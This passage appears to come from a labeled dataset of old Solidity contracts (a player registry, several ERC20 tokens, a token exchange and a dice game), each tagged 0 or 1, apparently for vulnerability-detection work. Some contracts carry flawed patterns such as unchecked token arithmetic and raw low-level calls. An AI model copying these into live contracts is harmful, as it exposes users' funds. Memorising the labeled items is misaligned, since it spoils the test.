returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
onlyDevs()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
if (multiSigDev("addGame") == true)
{deleteProposal("addGame");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
}
function setRegistrationFee(uint256 _fee)
onlyDevs()
public
{
if (multiSigDev("setRegistrationFee") == true)
{deleteProposal("setRegistrationFee");
registrationFee_ = _fee;
}
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library MSFun {
struct Data
{
mapping (bytes32 => ProposalData) proposal_;
}
struct ProposalData
{
bytes32 msgData;
uint256 count;
mapping (address => bool) admin;
mapping (uint256 => address) log;
}
function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction)
internal
returns(bool)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
uint256 _currentCount = self.proposal_[_whatProposal].count;
address _whichAdmin = msg.sender;
bytes32 _msgData = keccak256(msg.data);
if (_currentCount == 0)
{
self.proposal_[_whatProposal].msgData = _msgData;
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
self.proposal_[_whatProposal].count += 1;
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
} else if (self.proposal_[_whatProposal].msgData == _msgData) {
if (self.proposal_[_whatProposal].admin[_whichAdmin] == false)
{
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
self.proposal_[_whatProposal].count += 1;
}
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
}
}
function deleteProposal(Data storage self, bytes32 _whatFunction)
internal
{
bytes32 _whatProposal = whatProposal(_whatFunction);
address _whichAdmin;
for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) {
_whichAdmin = self.proposal_[_whatProposal].log[i];
delete self.proposal_[_whatProposal].admin[_whichAdmin];
delete self.proposal_[_whatProposal].log[i];
}
delete self.proposal_[_whatProposal];
}
function whatProposal(bytes32 _whatFunction)
private
view
returns(bytes32)
{
return(keccak256(abi.encodePacked(_whatFunction,this)));
}
function checkMsgData (Data storage self, bytes32 _whatFunction)
internal
view
returns (bytes32 msg_data)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].msgData);
}
function checkCount (Data storage self, bytes32 _whatFunction)
internal
view
returns (uint256 signature_count)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].count);
}
function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer)
internal
view
returns (address signer)
{
require(_signer > 0, "MSFun checkSigner failed - 0 not allowed");
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].log[_signer - 1]);
}
} | 0 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract GiantWeedKiller is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function GiantWeedKiller() public {
symbol = "GWK";
name = "GiantWeedKiller";
decimals = 18;
bonusEnds = now + 1 weeks;
endDate = now + 89 weeks;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 2;
} else {
tokens = msg.value * 1;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Bitcrore is Ownable{
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
uint256 public releaseTime;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event FrozenFunds(address target, bool frozen);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor (uint256 initialSupply,string tokenName,string tokenSymbol,uint256 setreleasetime) public
{
totalSupply = initialSupply;
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
releaseTime = setreleasetime;
}
function releaseTime(uint256 newreleaseTime) onlyOwner public {
releaseTime = newreleaseTime;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(now >= releaseTime);
require(!frozenAccount[_to]);
_transfer(msg.sender, _to, _value);
return true;
}
function allowance( address _owner, address _spender ) public view returns (uint256)
{
return allowance[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(now >= releaseTime);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function distributeToken(address[] addresses, uint256[] _value) public onlyOwner returns (bool success){
assert (addresses.length == _value.length);
for (uint i = 0; i < addresses.length; i++) {
_transfer(msg.sender, addresses[i], _value[i]);
}
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply =totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, 0x0 , _value);
return true;
}
function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) {
require(balanceOf[_from] >= _value);
require(!frozenAccount[_from]);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
emit Transfer(msg.sender, 0x0 , _value);
return true;
}
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(!frozenAccount[_spender]);
require(!frozenAccount[msg.sender]);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval( address _spender, uint256 _addedValue) public returns (bool) {
require(!frozenAccount[_spender]);
require(!frozenAccount[msg.sender]);
allowance[msg.sender][_spender] = (
allowance[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) {
require(!frozenAccount[_spender]);
require(!frozenAccount[msg.sender]);
uint256 oldValue = allowance[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowance[msg.sender][_spender] = 0;
} else {
allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
} | 1 |
pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ERC20Token is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function ERC20Token(
) {
balances[msg.sender] = 10000;
totalSupply = 1000000;
name = "GOLDCOIN";
decimals = 18;
symbol = "GOLD";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity ^0.4.18;
contract VerifyToken {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
bool public activated;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract AutomatedExchange is ApproveAndCallFallBack{
uint256 PSN=100000000000000;
uint256 PSNH=50000000000000;
address vrfAddress=0x5BD574410F3A2dA202bABBa1609330Db02aD64C2;
VerifyToken vrfcontract=VerifyToken(vrfAddress);
event BoughtToken(uint tokens,uint eth,address indexed to);
event SoldToken(uint tokens,uint eth,address indexed to);
function receiveApproval(address from, uint256 tokens, address token, bytes data) public{
require(vrfcontract.activated());
require(msg.sender==vrfAddress);
uint256 tokenValue=calculateTokenSell(tokens);
vrfcontract.transferFrom(from,this,tokens);
from.transfer(tokenValue);
emit SoldToken(tokens,tokenValue,from);
}
function buyTokens() public payable{
require(vrfcontract.activated());
uint256 tokensBought=calculateTokenBuy(msg.value,SafeMath.sub(this.balance,msg.value));
vrfcontract.transfer(msg.sender,tokensBought);
emit BoughtToken(tokensBought,msg.value,msg.sender);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateTokenSell(uint256 tokens) public view returns(uint256){
return calculateTrade(tokens,vrfcontract.balanceOf(this),this.balance);
}
function calculateTokenBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth,contractBalance,vrfcontract.balanceOf(this));
}
function calculateTokenBuySimple(uint256 eth) public view returns(uint256){
return calculateTokenBuy(eth,this.balance);
}
function () public payable {}
function getBalance() public view returns(uint256){
return this.balance;
}
function getTokenBalance() public view returns(uint256){
return vrfcontract.balanceOf(this);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 |
pragma solidity ^0.4.24;
contract Dice2Win {
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
event Commit(uint commit);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, bytes32 blockHash) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift < blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift < unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift < blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
